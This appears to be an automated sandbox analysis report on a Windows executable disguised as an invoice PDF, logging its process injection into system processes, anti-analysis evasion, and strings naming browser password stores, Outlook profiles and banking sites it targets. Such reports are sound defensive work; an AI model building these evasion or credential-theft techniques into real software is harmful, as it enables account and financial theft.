Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,

0_2_0047A999

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043614F

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

File created: C:\Users\user\AppData\Local\Temp\aut285A.tmp

Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: xwizard.exe, 00000005.00000002.4501845196.0000000003291000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4501845196.00000000032BE000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000003.2528743375.0000000003270000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4501845196.000000000329A000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000003.2528865334.0000000003291000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

File read: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Source: unknown	Process created: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe "C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe"
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe"
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Process created: C:\Windows\SysWOW64\xwizard.exe "C:\Windows\SysWOW64\xwizard.exe"
Source: C:\Windows\SysWOW64\xwizard.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe"	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Process created: C:\Windows\SysWOW64\xwizard.exe "C:\Windows\SysWOW64\xwizard.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\xwizard.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Contains functionality to detect sleep reduction / modifications

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: fQbMdgFgKkVEm.exe, 00000004.00000000.2274863523.000000000042E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2039615159.0000000003ED0000.00000004.00001000.00020000.00000000.sdmp, Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2039806550.0000000004070000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2260658057.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2353547525.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2353547525.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2258852027.0000000003300000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000003.2355523208.0000000004D14000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503032997.000000000505E000.00000040.00001000.00020000.00000000.sdmp, xwizard.exe, 00000005.00000003.2353468444.0000000004B61000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503032997.0000000004EC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2039615159.0000000003ED0000.00000004.00001000.00020000.00000000.sdmp, Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2039806550.0000000004070000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2260658057.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2353547525.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2353547525.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2258852027.0000000003300000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, xwizard.exe, 00000005.00000003.2355523208.0000000004D14000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503032997.000000000505E000.00000040.00001000.00020000.00000000.sdmp, xwizard.exe, 00000005.00000003.2353468444.0000000004B61000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503032997.0000000004EC0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: xwizard.pdb source: svchost.exe, 00000002.00000002.2353401714.0000000003012000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321941028.000000000302B000.00000004.00000020.00020000.00000000.sdmp, fQbMdgFgKkVEm.exe, 00000004.00000003.2423482550.0000000000B40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.000000000405C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4501845196.0000000003216000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.00000000054EC000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2636924020.000000002FB8C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.000000000405C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4501845196.0000000003216000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.00000000054EC000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2636924020.000000002FB8C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: xwizard.pdbGCTL source: svchost.exe, 00000002.00000002.2353401714.0000000003012000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321941028.000000000302B000.00000004.00000020.00020000.00000000.sdmp, fQbMdgFgKkVEm.exe, 00000004.00000003.2423482550.0000000000B40000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Static PE information: real checksum: 0xa2135 should be: 0xf442e

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0049004C push edi; retf	0_2_0049004D
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_004171D1 push ecx; ret	0_2_004171E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401815 push ss; ret	2_2_004018B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041F036 push edi; retf	2_2_0041F03A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418096 push cs; retf	2_2_00418097
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00412995 push es; retf	2_2_00412997
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00412A79 push ds; ret	2_2_00412A7A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004014C0 push ss; retn 6DEBh	2_2_00401542
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004014C0 push ss; ret	2_2_004018B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041850B push edi; ret	2_2_00418528
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041ADCE push ds; retf	2_2_0041AE1E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004035E0 push eax; ret	2_2_004035E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041ADE3 push ds; retf	2_2_0041AE1E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D679 push eax; retf	2_2_0040D67A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402613 push ecx; retf	2_2_0040261E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413E89 push BD1E4A2Bh; ret	2_2_00413E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00419739 push ss; iretd	2_2_0041973C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411FA1 push 79675D9Eh; retf	2_2_00411FA7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037309AD push ecx; mov dword ptr [esp], ecx	2_2_037309B6
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E0E4D push 79675D9Eh; retf	4_2_064E0E53
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064EDEE2 push edi; retf	4_2_064EDEE6
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E6F42 push cs; retf	4_2_064E6F43
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E77F0 push eax; ret	4_2_064E77F1
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E9C7A push ds; retf	4_2_064E9CCA
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E54F2 push ss; retf	4_2_064E550B
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E9C8F push ds; retf	4_2_064E9CCA
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E74AB pushfd ; iretd	4_2_064E74AC
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064D955B push FFFFFFF6h; iretd	4_2_064D955D
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E2D35 push BD1E4A2Bh; ret	4_2_064E2D3C
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064E85E5 push ss; iretd	4_2_064E85E8
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Code function: 4_2_064EEADE push eax; ret	4_2_064EEAE0

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004772DE
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_004375B0

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_00444078

0_2_00444078

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	API/Special instruction interceptor: Address: 2E55294
Source: C:\Windows\SysWOW64\xwizard.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\xwizard.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\xwizard.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\xwizard.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\xwizard.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\xwizard.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\xwizard.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\xwizard.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0377096E rdtsc

2_2_0377096E

Source: C:\Windows\SysWOW64\xwizard.exe

Window / User API: threadDelayed 9641

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-86029

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-84938

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	API coverage: 3.3 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\xwizard.exe	API coverage: 2.8 %

Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe TID: 7752	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe TID: 7752	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe TID: 7752	Thread sleep time: -46500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe TID: 7752	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe TID: 7752	Thread sleep time: -33000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe TID: 7720	Thread sleep count: 331 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe TID: 7720	Thread sleep time: -662000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe TID: 7720	Thread sleep count: 9641 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe TID: 7720	Thread sleep time: -19282000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\xwizard.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\xwizard.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0045DD7C FindFirstFileW,FindClose,	0_2_0045DD7C
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD29
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,	0_2_00436D2D
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442E1F
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00475FE5
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8D
Source: C:\Windows\SysWOW64\xwizard.exe	Code function: 5_2_0301C840 FindFirstFileW,FindNextFileW,FindClose,	5_2_0301C840

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Source: 293v7V-J3.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 293v7V-J3.5.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 293v7V-J3.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 293v7V-J3.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 293v7V-J3.5.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 293v7V-J3.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 293v7V-J3.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 293v7V-J3.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 293v7V-J3.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 293v7V-J3.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 293v7V-J3.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 293v7V-J3.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 293v7V-J3.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 293v7V-J3.5.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 293v7V-J3.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4502211397.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4501845196.0000000003216000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000007.00000002.2638568966.000001B36FA0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 293v7V-J3.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 293v7V-J3.5.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 293v7V-J3.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 293v7V-J3.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 293v7V-J3.5.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 293v7V-J3.5.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
